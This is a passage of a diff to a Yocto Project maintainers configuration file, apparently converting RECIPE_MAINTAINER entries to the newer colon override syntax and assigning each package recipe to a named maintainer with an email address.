-RECIPE_MAINTAINER_pn-unifdef = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-uninative-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-unzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-update-rc.d = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-usbinit = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-usbutils = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-util-linux = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-util-macros = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-v86d = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-vala = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-valgrind = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-vim = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-vim-tiny = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-virglrenderer = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-volatile-binds = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-vte = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-demos = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-headers = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-loader = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-waffle = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-watchdog = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-watchdog-config = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-wayland = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-wayland-protocols = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-webkitgtk = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-weston = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-weston-init = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-wget = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-which = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-wic-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-wireless-regdb = "Adrian Bunk <bunk@kernel.org>"
-RECIPE_MAINTAINER_pn-wpa-supplicant = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-x11perf = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-x264 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-xauth = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-proto = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-image = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-keysyms = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-renderutil = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-wm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcursor-transparent-theme = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xdg-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-xdpyinfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xeyes = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-evdev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-keyboard = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-libinput = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-mouse = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-synaptics = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-vmmouse = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-cirrus = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-fbdev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-intel = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-vesa = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-vmware = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xhost = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinetd = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-xinit = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinput = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinput-calibrator = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xkbcomp = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xkeyboard-config = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xmlto = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-xmodmap = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xorg-minimal-fonts = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xorgproto = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xprop = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xrandr = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xrestop = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-nodm-init = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-xf86-config = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-xorg = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xset = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xtrans = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xuser-account = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xvinfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xwininfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xz = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-zip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-zlib = "Denys Dmytriyenko <denys@ti.com>"
+RECIPE_MAINTAINER:pn-acl = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-acpica = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-acpid = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-adwaita-icon-theme = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-alsa-lib = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-plugins = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-state = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-tools = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-topology-conf = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-ucm-conf = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-utils = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-utils-scripts = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-apmd = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-apr = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-apr-util = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-apt = "Aníbal Limón <limon.anibal@gmail.com>"
+RECIPE_MAINTAINER:pn-argp-standalone = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-asciidoc = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-aspell = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-at = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-at-spi2-atk = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-at-spi2-core = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-atk = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-attr = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-autoconf = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-autoconf-archive = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-automake = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-avahi = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-babeltrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-babeltrace2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-base-files = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-base-passwd = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bash = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-bash-completion = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bind = "Armin Kuster <akuster808@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-testsuite = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-bison = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-blktool = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-blktrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bluez5 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bmap-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-boost = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-boost-build-native = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bootchart2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bsd-headers = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-btrfs-tools = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-build-appliance-image = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-build-sysroots = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-builder = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-extended-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-busybox = "Andrej Valek <andrej.valek@siemens.com>"
+RECIPE_MAINTAINER:pn-busybox-inittab = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-bzip2 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-ca-certificates = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-cairo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-cargo = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-cargo-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-cantarell-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ccache = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cdrtools-native = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-chrpath = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-cmake = "Pascal Bach <pascal.bach@siemens.com>"
+RECIPE_MAINTAINER:pn-cmake-native = "Pascal Bach <pascal.bach@siemens.com>"
+RECIPE_MAINTAINER:pn-connman = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-connman-conf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-connman-gnome = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-consolekit = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-core-image-base = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-mtdutils = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-tiny-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-full-cmdline = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-kernel-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-ptest-all = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-ptest-fast = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-testcontroller-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-testcontroller = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-weston = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-weston-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-x11 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-coreutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-cpio = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-cracklib = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-createrepo-c = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-cronie = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-cross-localedef-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-cryptodev-linux = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cryptodev-module = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cryptodev-tests = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cups = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-curl = "Robert Joslyn <robert.joslyn@redrectangle.org>"
+RECIPE_MAINTAINER:pn-cve-update-db-native = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-cwautomacros = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-db = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-dbus = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dbus-glib = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dbus-wait = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-debianutils = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dejagnu = "Nathan Rossi <nathan@nathanrossi.com>"
+RECIPE_MAINTAINER:pn-depmodwrapper-cross = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-desktop-file-utils = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-dhcpcd = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-diffoscope = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-diffstat = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-diffutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-distcc = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-distcc-config = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dmidecode = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-dnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-docbook-xml-dtd4 = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-docbook-xsl-stylesheets = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dos2unix = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-dosfstools = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dpkg = "Aníbal Limón <limon.anibal@gmail.com>"
+RECIPE_MAINTAINER:pn-dropbear = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dtc = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-dwarfsrcfiles = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-e2fsprogs = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ed = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-efivar = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-efibootmgr = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-elfutils = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-ell = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-enchant2 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-encodings = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-epiphany = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-erofs-utils = "Richard Weinberger <richard@nod.at>"
+RECIPE_MAINTAINER:pn-ethtool = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-eudev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-expat = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-expect = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ffmpeg = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-file = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-findutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-flac = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-flex = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-font-alias = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-font-util = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-fontconfig = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-formfactor = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-freetype = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-fribidi = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-fts = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gawk = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-gcc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-runtime = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-sanitizers = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-source-11.2.0 = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gcr = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdbm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gdk-pixbuf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gettext = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-gettext-minimal-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ghostscript = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gi-docgen = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-git = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-glew = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glib-2.0 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glib-networking = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glibc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-locale = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-mtrace = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-scripts = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-tests = "Lukasz Majewski <lukma@denx.de>"
+RECIPE_MAINTAINER:pn-glibc-testsuite = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glide = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-gmp = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glslang = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-gnome-desktop-testing = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gnu-config = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-gnu-efi = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-gnupg = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gnutls = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-go = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-binary-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-cross-${TUNE_PKGARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-helloworld = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-runtime = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gobject-introspection = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gperf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gpgme = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gptfdisk = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gcompat = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-grep = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-groff = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-grub = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-grub-bootconf = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-grub-efi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gsettings-desktop-schemas = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gst-devtools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gst-examples = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-libav = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-omx = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-meta-base = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-bad = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-base = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-good = "Anuj Mittal <anuj.mittal@intel.com>"
